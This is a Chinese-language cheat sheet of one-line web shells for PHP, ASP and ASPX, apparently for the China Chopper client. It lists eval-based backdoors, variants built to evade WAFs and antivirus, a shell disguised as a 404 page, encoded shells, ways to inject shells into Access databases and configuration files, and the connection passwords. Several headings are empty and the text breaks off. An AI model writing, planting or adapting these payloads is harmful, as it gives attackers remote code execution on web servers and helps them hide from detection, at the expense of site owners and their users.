PHP一句话：
1、普通一句话
<?php @eval($_POST['pass']);?>
2、防爆破一句话
<?php substr(md5($_REQUEST['x']),28)=='ac3a'&&eval($_REQUEST['pass']);?> //菜刀地址http://192.168.64.137/x.php?x=mytest 密码：pass
3、过狗一句话
<?php ($_=@$GET['s']).@$($POST['pass']);?> //菜刀地址 http://localhost/1.php?s=assert
等价于
<?php
$=@$GET['s'];
@$($_POST['pass']);
?>
4、404隐藏一句话
preg_replace()方法中的e,只适用于php5及更早的版本，php5后的版本已经无法正常使用，
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/\w/e",$_POST['error'],"e");#preg_replace()方法中的e,只适用于php5及更早的版本，
header('HTTP/1.1 404 Not Found') #php5后的版本已经无法正常使用，
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@eval($_POST['pass']); # @可以不提示错误
header('HTTP/1.1 404 Not Found');
?>
5、不用 ? 号的一句话
<script type="text/javascript" language="php">// <![CDATA[
eval ($_POST[ki11]);
// ]]></script>
6、躲避检测
7、变形一句话后门
8、免杀一句话木马
访问该网页，然后菜刀连接：/myh0st.php 密码：ki11
ASP一句话：
1、普通一句话：
<%eval request("xiasha")%> 或
<%execute(request("ki11"))%>
2、unicode编码的access木马
向access数据库插入 ┼攠數畣整爠煥敵瑳∨≡┩> 编码前：<% execute request("a")%>
然后备份出webshell，密码a
3、配置文件插马（需要条件支持，插入的数据被写在了配置文件中）
插入："%><% bbbb=request("aaaa")%><%eval(bbbb)%><%' 访问爆错，获取到配置文件的地址，然后连接，密码aaaa
4、不用%的一句话
<script type="text/javascript" language="VBScript">// <![CDATA[
execute request("ki11")
// ]]></script>
5、不用”的一句话：
<%eval request(chr(35))%> 密码：#
ASPX一句话：
1、普通一句话
<%@ Page Language="Jscript"%><%eval(Request.Item["ki11"],"unsafe");%>
2、免杀的ASPX一句话
<%@PAGE LANGUAGE=JSCRIPT%><%var PAY:String=Request["x61x62x63x64"];eval(PAY,"x75x6Ex73x61"+"x66x65");%>
3、又一个免杀的ASPX一句话
<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("ki11"))%>
JSP菜刀一句话
